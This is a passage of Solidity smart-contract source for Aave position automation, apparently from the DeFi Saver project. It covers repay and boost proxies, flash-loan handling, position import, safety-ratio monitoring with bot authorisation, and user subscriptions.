IPriceOracleGetterAave(priceOracleAddress).getAssetPrice(_tokenAddr); _gasCost = wmul(_gasCost, price); gasCost = _gasCost; // fee can't go over 20% of the whole amount if (gasCost > (_amount / 5)) { gasCost = _amount / 5; } address walletAddr = feeRecipient.getFeeAddr(); if (_tokenAddr == ETH_ADDR) { payable(walletAddr).transfer(gasCost); } else { ERC20(_tokenAddr).safeTransfer(walletAddr, gasCost); } } /// @notice Returns the owner of the DSProxy that called the contract function getUserAddress() internal view returns (address) { DSProxy proxy = DSProxy(payable(address(this))); return proxy.owner(); } /// @notice Approves token contract to pull underlying tokens from the DSProxy /// @param _tokenAddr Token we are trying to approve /// @param _caller Address which will gain the approval function approveToken(address _tokenAddr, address _caller) internal { if (_tokenAddr != ETH_ADDR) { ERC20(_tokenAddr).safeApprove(_caller, uint256(-1)); } } /// @notice Send specific amount from contract to specific user /// @param _token Token we are trying to send /// @param _user User that should receive funds /// @param _amount Amount that should be sent function sendContractBalance(address _token, address _user, uint _amount) public { if (_amount == 0) return; if (_token == ETH_ADDR) { payable(_user).transfer(_amount); } else { ERC20(_token).safeTransfer(_user, _amount); } } function sendFullContractBalance(address _token, address _user) public { if (_token == ETH_ADDR) { sendContractBalance(_token, _user, address(this).balance); } else { sendContractBalance(_token, _user, ERC20(_token).balanceOf(address(this))); } } function _getDecimals(address _token) internal view returns (uint256) { if (_token == ETH_ADDR) return 18; return ERC20(_token).decimals(); } function isAutomation() internal view returns(bool) { return BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../AaveHelper.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../interfaces/IAToken.sol"; import "../../interfaces/ILendingPool.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../utils/GasBurner.sol"; contract AaveSaverProxy is GasBurner, DFSExchangeCore, AaveHelper { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; uint public constant VARIABLE_RATE = 2; function repay(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); address payable user = payable(getUserAddress()); // redeem collateral address aTokenCollateral = ILendingPool(lendingPoolCore).getReserveATokenAddress(_data.srcAddr); // uint256 maxCollateral = IAToken(aTokenCollateral).balanceOf(address(this)); // don't swap more than maxCollateral // _data.srcAmount = _data.srcAmount > maxCollateral ? maxCollateral : _data.srcAmount; IAToken(aTokenCollateral).redeem(_data.srcAmount); uint256 destAmount = _data.srcAmount; if (_data.srcAddr != _data.destAddr) { _data.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _data.user = user; // swap (, destAmount) = _sell(_data); destAmount -= getGasCost(destAmount, user, _gasCost, _data.destAddr); } else { destAmount -= getGasCost(destAmount, user, _gasCost, _data.destAddr); } // payback if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).repay{value: destAmount}(_data.destAddr, destAmount, payable(address(this))); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).repay(_data.destAddr, destAmount, payable(address(this))); } // first return 0x fee to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveRepay", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } function boost(ExchangeData memory _data, uint _gasCost) public payable burnGas(20) { address lendingPoolCore = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPoolCore(); address lendingPool = ILendingPoolAddressesProvider(AAVE_LENDING_POOL_ADDRESSES).getLendingPool(); (,,,uint256 borrowRateMode,,,,,,bool collateralEnabled) = ILendingPool(lendingPool).getUserReserveData(_data.destAddr, address(this)); address payable user = payable(getUserAddress()); // skipping this check as its too expensive // uint256 maxBorrow = getMaxBoost(_data.srcAddr, _data.destAddr, address(this)); // _data.srcAmount = _data.srcAmount > maxBorrow ? maxBorrow : _data.srcAmount; // borrow amount ILendingPool(lendingPool).borrow(_data.srcAddr, _data.srcAmount, borrowRateMode == 0 ? VARIABLE_RATE : borrowRateMode, AAVE_REFERRAL_CODE); uint256 destAmount; if (_data.destAddr != _data.srcAddr) { _data.dfsFeeDivider = isAutomation() ? AUTOMATIC_SERVICE_FEE : MANUAL_SERVICE_FEE; _data.user = user; // swap (, destAmount) = _sell(_data); destAmount -= getGasCost(_data.destAmount, user, _gasCost, _data.destAddr); } else { destAmount = _data.srcAmount; destAmount -= getGasCost(_data.destAmount, user, _gasCost, _data.destAddr); } if (_data.destAddr == ETH_ADDR) { ILendingPool(lendingPool).deposit{value: destAmount}(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } else { approveToken(_data.destAddr, lendingPoolCore); ILendingPool(lendingPool).deposit(_data.destAddr, destAmount, AAVE_REFERRAL_CODE); } if (!collateralEnabled) { ILendingPool(lendingPool).setUserUseReserveAsCollateral(_data.destAddr, true); } // returning to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveBoost", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../AaveHelperV2.sol"; import "../../exchangeV3/DFSExchangeCore.sol"; import "../../interfaces/IAToken.sol"; import "../../interfaces/TokenInterface.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../utils/GasBurner.sol"; contract AaveSaverProxyV2 is DFSExchangeCore, AaveHelperV2, GasBurner { address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; function repay(address _market, ExchangeData memory _data, uint _rateMode, uint _gasCost) public payable burnGas(20) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); address payable user = payable(getUserAddress()); ILendingPoolV2(lendingPool).withdraw(_data.srcAddr, _data.srcAmount, address(this)); uint256 destAmount = _data.srcAmount; if (_data.srcAddr != _data.destAddr) { _data.user = user; _data.dfsFeeDivider = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { _data.dfsFeeDivider = AUTOMATIC_SERVICE_FEE; } // swap (, destAmount) = _sell(_data); } // take gas cost at the end destAmount -= getGasCost(ILendingPoolAddressesProviderV2(_market).getPriceOracle(), destAmount, user, _gasCost, _data.destAddr); // payback if (_data.destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).deposit.value(destAmount)(); } approveToken(_data.destAddr, lendingPool); // if destAmount higher than borrow repay whole debt uint borrow; if (_rateMode == STABLE_ID) { (,borrow,,,,,,,) = dataProvider.getUserReserveData(_data.destAddr, address(this)); } else { (,,borrow,,,,,,) = dataProvider.getUserReserveData(_data.destAddr, address(this)); } ILendingPoolV2(lendingPool).repay(_data.destAddr, destAmount > borrow ? borrow : destAmount, _rateMode, payable(address(this))); // first return 0x fee to tx.origin as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveV2Repay", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } function boost(address _market, ExchangeData memory _data, uint _rateMode, uint _gasCost) public payable burnGas(20) { address lendingPool = ILendingPoolAddressesProviderV2(_market).getLendingPool(); IAaveProtocolDataProviderV2 dataProvider = getDataProvider(_market); address payable user = payable(getUserAddress()); // borrow amount ILendingPoolV2(lendingPool).borrow(_data.srcAddr, _data.srcAmount, _rateMode, AAVE_REFERRAL_CODE, address(this)); // take gas cost at the beginning _data.srcAmount -= getGasCost(ILendingPoolAddressesProviderV2(_market).getPriceOracle(), _data.srcAmount, user, _gasCost, _data.srcAddr); uint256 destAmount; if (_data.destAddr != _data.srcAddr) { _data.user = user; _data.dfsFeeDivider = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { _data.dfsFeeDivider = AUTOMATIC_SERVICE_FEE; } (, destAmount) = _sell(_data); } else { destAmount = _data.srcAmount; } if (_data.destAddr == WETH_ADDRESS) { TokenInterface(WETH_ADDRESS).deposit.value(destAmount)(); } approveToken(_data.destAddr, lendingPool); ILendingPoolV2(lendingPool).deposit(_data.destAddr, destAmount, address(this), AAVE_REFERRAL_CODE); (,,,,,,,,bool collateralEnabled) = dataProvider.getUserReserveData(_data.destAddr, address(this)); if (!collateralEnabled) { ILendingPoolV2(lendingPool).setUserUseReserveAsCollateral(_data.destAddr, true); } // returning to msg.sender as it is the address that actually sent 0x fee sendContractBalance(ETH_ADDR, tx.origin, min(address(this).balance, msg.value)); // send all leftovers from dest addr to proxy owner sendFullContractBalance(_data.destAddr, user); DefisaverLogger(DEFISAVER_LOGGER).Log(address(this), msg.sender, "AaveV2Boost", abi.encode(_data.srcAddr, _data.destAddr, _data.srcAmount, destAmount)); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../../utils/SafeERC20.sol"; import "../../../interfaces/TokenInterface.sol"; import "../../../DS/DSProxy.sol"; import "../../AaveHelperV2.sol"; import "../../../auth/AdminAuth.sol"; import "../../../exchangeV3/DFSExchangeCore.sol"; /// @title Import Aave position from account to wallet contract AaveSaverReceiverOV2 is AaveHelperV2, AdminAuth, DFSExchangeCore { using SafeERC20 for ERC20; address public constant AAVE_BASIC_PROXY = 0xc17c8eB12Ba24D62E69fd57cbd504EEf418867f9; function boost(ExchangeData memory _exchangeData, address _market, uint256 _gasCost, address _proxy) internal { (, uint swappedAmount) = _sell(_exchangeData); address user = DSAuth(_proxy).owner(); swappedAmount -= getGasCost(ILendingPoolAddressesProviderV2(_market).getPriceOracle(), swappedAmount, user, _gasCost, _exchangeData.destAddr); // if its eth we need to send it to the basic proxy, if not, we need to approve users proxy to pull tokens uint256 msgValue = 0; address token = _exchangeData.destAddr; // sell always return eth, but deposit differentiate eth vs weth, so we change weth address to eth when we are depoisting if (_exchangeData.destAddr == ETH_ADDR || _exchangeData.destAddr == WETH_ADDRESS) { msgValue = swappedAmount; token = ETH_ADDR; } else { ERC20(_exchangeData.destAddr).safeApprove(_proxy, swappedAmount); } // deposit collateral on behalf of user DSProxy(payable(_proxy)).execute{value: msgValue}( AAVE_BASIC_PROXY, abi.encodeWithSignature( "deposit(address,address,uint256)", _market, token, swappedAmount ) ); } function repay(ExchangeData memory _exchangeData, address _market, uint256 _gasCost, address _proxy, uint256 _rateMode, uint _aaveFlashlLoanFee) internal { // we will withdraw exactly the srcAmount, as fee we keep before selling uint valueToWithdraw = _exchangeData.srcAmount; // take out the fee wee need to pay and sell the rest _exchangeData.srcAmount = _exchangeData.srcAmount - _aaveFlashlLoanFee; (, uint swappedAmount) = _sell(_exchangeData); // set protocol fee left to eth balance of this address // but if destAddr is eth or weth, this also includes that value so we need to substract it uint protocolFeeLeft = address(this).balance; address user = DSAuth(_proxy).owner(); swappedAmount -= getGasCost(ILendingPoolAddressesProviderV2(_market).getPriceOracle(), swappedAmount, user, _gasCost, _exchangeData.destAddr); // if its eth we need to send it to the basic proxy, if not, we need to approve basic proxy to pull tokens uint256 msgValue = 0; if (_exchangeData.destAddr == ETH_ADDR || _exchangeData.destAddr == WETH_ADDRESS) { protocolFeeLeft -= swappedAmount; msgValue = swappedAmount; } else { ERC20(_exchangeData.destAddr).safeApprove(_proxy, swappedAmount); } // first payback the loan with swapped amount DSProxy(payable(_proxy)).execute{value: msgValue}( AAVE_BASIC_PROXY, abi.encodeWithSignature( "payback(address,address,uint256,uint256)", _market, _exchangeData.destAddr, swappedAmount, _rateMode ) ); // if some tokens left after payback (full repay) we need to return it back to the proxy owner require(user != address(0)); // be sure that we fetched the user correctly if (_exchangeData.destAddr == ETH_ADDR || _exchangeData.destAddr == WETH_ADDRESS) { // keep protocol fee for tx.origin, but the rest of the balance return to the user payable(user).transfer(address(this).balance - protocolFeeLeft); } else { // in case its a token, just return whole value back to the user, as protocol fee is always in eth uint amount = ERC20(_exchangeData.destAddr).balanceOf(user); ERC20(_exchangeData.destAddr).safeTransfer(user, amount); } // pull the amount we flash loaned in collateral to be able to payback the debt DSProxy(payable(_proxy)).execute(AAVE_BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256)", _market, _exchangeData.srcAddr, valueToWithdraw)); } function executeOperation( address[] calldata, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) public returns (bool) { ( bytes memory exchangeDataBytes, address market, uint256 gasCost, uint256 rateMode, bool isRepay, address proxy ) = abi.decode(params, (bytes,address,uint256,uint256,bool,address)); require(initiator == proxy, "initiator isn't proxy"); ExchangeData memory exData = unpackExchangeData(exchangeDataBytes); exData.user = DSAuth(proxy).owner(); exData.dfsFeeDivider = MANUAL_SERVICE_FEE; if (BotRegistry(BOT_REGISTRY_ADDRESS).botList(tx.origin)) { exData.dfsFeeDivider = AUTOMATIC_SERVICE_FEE; } // this is to avoid stack too deep uint fee = premiums[0]; uint totalValueToReturn = exData.srcAmount + fee; // if its repay, we are using regular flash loan and payback the premiums if (isRepay) { repay(exData, market, gasCost, proxy, rateMode, fee); address token = exData.srcAddr; if (token == ETH_ADDR || token == WETH_ADDRESS) { // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit.value(totalValueToReturn)(); token = WETH_ADDRESS; } ERC20(token).safeApprove(ILendingPoolAddressesProviderV2(market).getLendingPool(), totalValueToReturn); } else { boost(exData, market, gasCost, proxy); } tx.origin.transfer(address(this).balance); return true; } /// @dev allow contract to receive eth from sell receive() external override payable {} } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../savings/dydx/ISoloMargin.sol"; import "../../utils/SafeERC20.sol"; import "../../interfaces/TokenInterface.sol"; import "../../DS/DSProxy.sol"; import "../AaveHelperV2.sol"; import "../../auth/AdminAuth.sol"; // weth->eth // deposit eth for users proxy // borrow users token from proxy // repay on behalf of user // pull user supply // take eth amount from supply (if needed more, borrow it?) // return eth to sender /// @title Import Aave position from account to wallet contract AaveImportV2 is AaveHelperV2, AdminAuth { using SafeERC20 for ERC20; address public constant BASIC_PROXY = 0xc17c8eB12Ba24D62E69fd57cbd504EEf418867f9; address public constant PULL_TOKENS_PROXY = 0x45431b79F783e0BF0fe7eF32D06A3e061780bfc4; function callFunction( address, Account.Info memory, bytes memory data ) public { ( address market, address collateralToken, address borrowToken, uint256 ethAmount, address proxy ) = abi.decode(data, (address,address,address,uint256,address)); address user = DSProxy(payable(proxy)).owner(); // withdraw eth TokenInterface(WETH_ADDRESS).withdraw(ethAmount); IAaveProtocolDataProviderV2 dataProvider = getDataProvider(market); uint256 globalBorrowAmountStable = 0; uint256 globalBorrowAmountVariable = 0; { // avoid stack too deep // deposit eth on behalf of proxy DSProxy(payable(proxy)).execute{value: ethAmount}(BASIC_PROXY, abi.encodeWithSignature("deposit(address,address,uint256)", market, ETH_ADDR, ethAmount)); // borrow needed amount to repay users borrow (, uint256 borrowsStable, uint256 borrowsVariable,,,,,,) = dataProvider.getUserReserveData(borrowToken, user); if (borrowsStable > 0) { DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,address,uint256,uint256)", market, borrowToken, borrowsStable, STABLE_ID)); globalBorrowAmountStable = borrowsStable; } if (borrowsVariable > 0) { DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("borrow(address,address,uint256,uint256)", market, borrowToken, borrowsVariable, VARIABLE_ID)); globalBorrowAmountVariable = borrowsVariable; } } if (globalBorrowAmountVariable > 0) { paybackOnBehalf(market, proxy, globalBorrowAmountVariable, borrowToken, user, VARIABLE_ID); } if (globalBorrowAmountStable > 0) { paybackOnBehalf(market, proxy, globalBorrowAmountStable, borrowToken, user, STABLE_ID); } (address aToken,,) = dataProvider.getReserveTokensAddresses(collateralToken); // pull coll tokens DSProxy(payable(proxy)).execute(PULL_TOKENS_PROXY, abi.encodeWithSignature("pullTokens(address,uint256)", aToken, ERC20(aToken).balanceOf(user))); // enable as collateral DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("setUserUseReserveAsCollateralIfNeeded(address,address)", market, collateralToken)); // withdraw deposited eth DSProxy(payable(proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("withdraw(address,address,uint256)", market, ETH_ADDR, ethAmount)); // deposit eth, get weth and return to sender TokenInterface(WETH_ADDRESS).deposit{value: (address(this).balance)}(); ERC20(WETH_ADDRESS).safeTransfer(proxy, ethAmount+2); } function paybackOnBehalf(address _market, address _proxy, uint _amount, address _token, address _onBehalf, uint _rateMode) internal { // payback on behalf of user if (_token != ETH_ADDR) { ERC20(_token).safeApprove(_proxy, _amount); DSProxy(payable(_proxy)).execute(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,uint256,address)", _market, _token, _amount, _rateMode, _onBehalf)); } else { DSProxy(payable(_proxy)).execute{value: _amount}(BASIC_PROXY, abi.encodeWithSignature("paybackOnBehalf(address,address,uint256,uint256,address)", _market, _token, _amount, _rateMode, _onBehalf)); } } /// @dev if contract receive eth, convert it to WETH receive() external payable { // deposit eth and get weth if (msg.sender == owner) { TokenInterface(WETH_ADDRESS).deposit{value: (address(this).balance)}(); } } } pragma solidity ^0.6.0; import "./AaveHelperV2.sol"; import "../interfaces/ILendingPoolV2.sol"; contract AaveSafetyRatioV2 is AaveHelperV2 { function getSafetyRatio(address _market, address _user) public view returns(uint256) { ILendingPoolV2 lendingPool = ILendingPoolV2(ILendingPoolAddressesProviderV2(_market).getLendingPool()); (,uint256 totalDebtETH,uint256 availableBorrowsETH,,,) = lendingPool.getUserAccountData(_user); if (totalDebtETH == 0) return uint256(0); return wdiv(add(totalDebtETH, availableBorrowsETH), totalDebtETH); } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../utils/GasBurner.sol"; import "../../DS/DSMath.sol"; import "../../auth/AdminAuth.sol"; import "../../loggers/DefisaverLogger.sol"; import "../../exchangeV3/DFSExchangeData.sol"; import "./AaveMonitorProxyV2.sol"; import "./AaveSubscriptionsV2.sol"; import "../AaveSafetyRatioV2.sol"; /// @title Contract implements logic of calling boost/repay in the automatic system contract AaveMonitorV2 is AdminAuth, DSMath, AaveSafetyRatioV2, GasBurner { using SafeERC20 for ERC20; string public constant NAME = "AaveMonitorV2"; enum Method { Boost, Repay } uint public REPAY_GAS_TOKEN = 20; uint public BOOST_GAS_TOKEN = 20; uint public MAX_GAS_PRICE = 400000000000; // 400 gwei uint public REPAY_GAS_COST = 2000000; uint public BOOST_GAS_COST = 2000000; address public constant DEFISAVER_LOGGER = 0x5c55B921f590a89C1Ebe84dF170E655a82b62126; address public constant AAVE_MARKET_ADDRESS = 0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5; AaveMonitorProxyV2 public aaveMonitorProxy; AaveSubscriptionsV2 public subscriptionsContract; address public aaveSaverProxy; DefisaverLogger public logger = DefisaverLogger(DEFISAVER_LOGGER); modifier onlyApproved() { require(BotRegistry(BOT_REGISTRY_ADDRESS).botList(msg.sender), "Not auth bot"); _; } /// @param _aaveMonitorProxy Proxy contracts that actually is authorized to call DSProxy /// @param _subscriptions Subscriptions contract for Aave positions /// @param _aaveSaverProxy Contract that actually performs Repay/Boost constructor(address _aaveMonitorProxy, address _subscriptions, address _aaveSaverProxy) public { aaveMonitorProxy = AaveMonitorProxyV2(_aaveMonitorProxy); subscriptionsContract = AaveSubscriptionsV2(_subscriptions); aaveSaverProxy = _aaveSaverProxy; } /// @notice Bots call this method to repay for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function repayFor( DFSExchangeData.ExchangeData memory _exData, address _user, uint256 _rateMode, uint256 _flAmount ) public payable onlyApproved burnGas(REPAY_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Repay, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(REPAY_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "repay(address,(address,address,uint256,uint256,uint256,uint256,address,address,bytes,(address,address,address,uint256,uint256,bytes)),uint256,uint256,uint256)", AAVE_MARKET_ADDRESS, _exData, _rateMode, gasCost, _flAmount ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Repay, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveRepayV2", abi.encode(ratioBefore, ratioAfter)); } /// @notice Bots call this method to boost for user when conditions are met /// @dev If the contract ownes gas token it will try and use it for gas price reduction /// @param _exData Exchange data /// @param _user The actual address that owns the Aave position function boostFor( DFSExchangeData.ExchangeData memory _exData, address _user, uint256 _rateMode, uint256 _flAmount ) public payable onlyApproved burnGas(BOOST_GAS_TOKEN) { (bool isAllowed, uint ratioBefore) = canCall(Method.Boost, _user); require(isAllowed); // check if conditions are met uint256 gasCost = calcGasCost(BOOST_GAS_COST); aaveMonitorProxy.callExecute{value: msg.value}( _user, aaveSaverProxy, abi.encodeWithSignature( "boost(address,(address,address,uint256,uint256,uint256,uint256,address,address,bytes,(address,address,address,uint256,uint256,bytes)),uint256,uint256,uint256)", AAVE_MARKET_ADDRESS, _exData, _rateMode, gasCost, _flAmount ) ); (bool isGoodRatio, uint ratioAfter) = ratioGoodAfter(Method.Boost, _user); require(isGoodRatio); // check if the after result of the actions is good returnEth(); logger.Log(address(this), _user, "AutomaticAaveBoostV2", abi.encode(ratioBefore, ratioAfter)); } /******************* INTERNAL METHODS ********************************/ function returnEth() internal { // return if some eth left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /******************* STATIC METHODS ********************************/ /// @notice Checks if Boost/Repay could be triggered for the CDP /// @dev Called by AaveMonitor to enforce the min/max check /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if it can be called and the ratio function canCall(Method _method, address _user) public view returns(bool, uint) { bool subscribed = subscriptionsContract.isSubscribed(_user); AaveSubscriptionsV2.AaveHolder memory holder = subscriptionsContract.getHolder(_user); // check if cdp is subscribed if (!subscribed) return (false, 0); // check if boost and boost allowed if (_method == Method.Boost && !holder.boostEnabled) return (false, 0); uint currRatio = getSafetyRatio(AAVE_MARKET_ADDRESS, _user); if (_method == Method.Repay) { return (currRatio < holder.minRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.maxRatio, currRatio); } } /// @dev After the Boost/Repay check if the ratio doesn't trigger another call /// @param _method Type of action to be called /// @param _user The actual address that owns the Aave position /// @return Boolean if the recent action preformed correctly and the ratio function ratioGoodAfter(Method _method, address _user) public view returns(bool, uint) { AaveSubscriptionsV2.AaveHolder memory holder; holder = subscriptionsContract.getHolder(_user); uint currRatio = getSafetyRatio(AAVE_MARKET_ADDRESS, _user); if (_method == Method.Repay) { return (currRatio < holder.maxRatio, currRatio); } else if (_method == Method.Boost) { return (currRatio > holder.minRatio, currRatio); } } /// @notice Calculates gas cost (in Eth) of tx /// @dev Gas price is limited to MAX_GAS_PRICE to prevent attack of draining user CDP /// @param _gasAmount Amount of gas used for the tx function calcGasCost(uint _gasAmount) public view returns (uint) { uint gasPrice = tx.gasprice <= MAX_GAS_PRICE ? tx.gasprice : MAX_GAS_PRICE; return mul(gasPrice, _gasAmount); } /******************* OWNER ONLY OPERATIONS ********************************/ /// @notice As the code is new, have a emergancy admin saver proxy change function changeAaveSaverProxy(address _newAaveSaverProxy) public onlyAdmin { aaveSaverProxy = _newAaveSaverProxy; } /// @notice Allows owner to change gas cost for boost operation, but only up to 3 millions /// @param _gasCost New gas cost for boost method function changeBoostGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); BOOST_GAS_COST = _gasCost; } /// @notice Allows owner to change gas cost for repay operation, but only up to 3 millions /// @param _gasCost New gas cost for repay method function changeRepayGasCost(uint _gasCost) public onlyOwner { require(_gasCost < 3000000); REPAY_GAS_COST = _gasCost; } /// @notice Allows owner to change max gas price /// @param _maxGasPrice New max gas price function changeMaxGasPrice(uint _maxGasPrice) public onlyOwner { require(_maxGasPrice < 500000000000); MAX_GAS_PRICE = _maxGasPrice; } /// @notice Allows owner to change gas token amount /// @param _gasTokenAmount New gas token amount /// @param _repay true if repay gas token, false if boost gas token function changeGasTokenAmount(uint _gasTokenAmount, bool _repay) public onlyOwner { if (_repay) { REPAY_GAS_TOKEN = _gasTokenAmount; } else { BOOST_GAS_TOKEN = _gasTokenAmount; } } } pragma solidity ^0.6.0; import "../../interfaces/DSProxyInterface.sol"; import "../../utils/SafeERC20.sol"; import "../../auth/AdminAuth.sol"; /// @title Contract with the actuall DSProxy permission calls the automation operations contract AaveMonitorProxyV2 is AdminAuth { using SafeERC20 for ERC20; string public constant NAME = "AaveMonitorProxyV2"; uint public CHANGE_PERIOD; address public monitor; address public newMonitor; address public lastMonitor; uint public changeRequestedTimestamp; event MonitorChangeInitiated(address oldMonitor, address newMonitor); event MonitorChangeCanceled(); event MonitorChangeFinished(address monitor); event MonitorChangeReverted(address monitor); modifier onlyMonitor() { require (msg.sender == monitor); _; } constructor(uint _changePeriod) public { CHANGE_PERIOD = _changePeriod * 1 hours; } /// @notice Only monitor contract is able to call execute on users proxy /// @param _owner Address of cdp owner (users DSProxy address) /// @param _aaveSaverProxy Address of AaveSaverProxy /// @param _data Data to send to AaveSaverProxy function callExecute(address _owner, address _aaveSaverProxy, bytes memory _data) public payable onlyMonitor { // execute reverts if calling specific method fails DSProxyInterface(_owner).execute{value: msg.value}(_aaveSaverProxy, _data); // return if anything left if (address(this).balance > 0) { msg.sender.transfer(address(this).balance); } } /// @notice Owner is able to set Monitor contract without any waiting period first time /// @param _monitor Address of Monitor contract function setMonitor(address _monitor) public onlyOwner { require(monitor == address(0)); monitor = _monitor; } /// @notice Owner is able to start procedure for changing monitor /// @dev after CHANGE_PERIOD needs to call confirmNewMonitor to actually make a change /// @param _newMonitor address of new monitor function changeMonitor(address _newMonitor) public onlyOwner { require(changeRequestedTimestamp == 0); changeRequestedTimestamp = now; lastMonitor = monitor; newMonitor = _newMonitor; emit MonitorChangeInitiated(lastMonitor, newMonitor); } /// @notice At any point owner is able to cancel monitor change function cancelMonitorChange() public onlyOwner { require(changeRequestedTimestamp > 0); changeRequestedTimestamp = 0; newMonitor = address(0); emit MonitorChangeCanceled(); } /// @notice Anyone is able to confirm new monitor after CHANGE_PERIOD if process is started function confirmNewMonitor() public onlyOwner { require((changeRequestedTimestamp + CHANGE_PERIOD) < now); require(changeRequestedTimestamp != 0); require(newMonitor != address(0)); monitor = newMonitor; newMonitor = address(0); changeRequestedTimestamp = 0; emit MonitorChangeFinished(monitor); } /// @notice Its possible to revert monitor to last used monitor function revertMonitor() public onlyOwner { require(lastMonitor != address(0)); monitor = lastMonitor; emit MonitorChangeReverted(monitor); } function setChangePeriod(uint _periodInHours) public onlyOwner { require(_periodInHours * 1 hours > CHANGE_PERIOD); CHANGE_PERIOD = _periodInHours * 1 hours; } } pragma solidity ^0.6.0; pragma experimental ABIEncoderV2; import "../../auth/AdminAuth.sol"; /// @title Stores subscription information for Aave automatization contract AaveSubscriptionsV2 is AdminAuth { string public constant NAME = "AaveSubscriptionsV2"; struct AaveHolder { address user; uint128 minRatio; uint128 maxRatio; uint128 optimalRatioBoost; uint128 optimalRatioRepay; bool boostEnabled; } struct SubPosition { uint arrPos; bool subscribed; } AaveHolder[] public subscribers; mapping (address => SubPosition) public subscribersPos; uint public changeIndex; event Subscribed(address indexed user); event Unsubscribed(address indexed user); event Updated(address indexed user); event ParamUpdates(address indexed user, uint128, uint128, uint128, uint128, bool); /// @dev Called by the DSProxy contract which owns the Aave position /// @notice Adds the users Aave poistion in the list of subscriptions so it can be monitored /// @param _minRatio Minimum ratio below which repay is triggered /// @param _maxRatio Maximum ratio after which boost is triggered /// @param _optimalBoost Ratio amount which boost should target /// @param _optimalRepay Ratio amount which repay should target /// @param _boostEnabled Boolean determing if boost is enabled function subscribe(uint128 _minRatio, uint128 _maxRatio, uint128 _optimalBoost, uint128 _optimalRepay, bool _boostEnabled) external { // if boost is not enabled, set max ratio to max uint uint128 localMaxRatio = _boostEnabled ? _maxRatio : uint128(-1); require(checkParams(_minRatio, localMaxRatio), "Must be correct params"); SubPosition storage subInfo = subscribersPos[msg.sender]; AaveHolder memory subscription = AaveHolder({ minRatio: _minRatio, maxRatio: localMaxRatio, optimalRatioBoost: _optimalBoost, optimalRatioRepay: _optimalRepay, user: msg.sender, boostEnabled: _boostEnabled }); changeIndex++; if (subInfo.subscribed) { subscribers[subInfo.arrPos] = subscription; emit Updated(msg.sender); emit ParamUpdates(msg.sender, _minRatio, localMaxRatio, _optimalBoost, _optimalRepay, _boostEnabled); } else { subscribers.push(subscription); subInfo.arrPos = subscribers.length - 1; subInfo.subscribed = true; emit Subscribed(msg.sender); } } /// @notice Called by the users DSProxy /// @dev Owner who subscribed cancels his subscription function unsubscribe() external { _unsubscribe(msg.sender); } /// @dev Checks limit if minRatio is bigger than max /// @param _minRatio Minimum ratio, bellow which 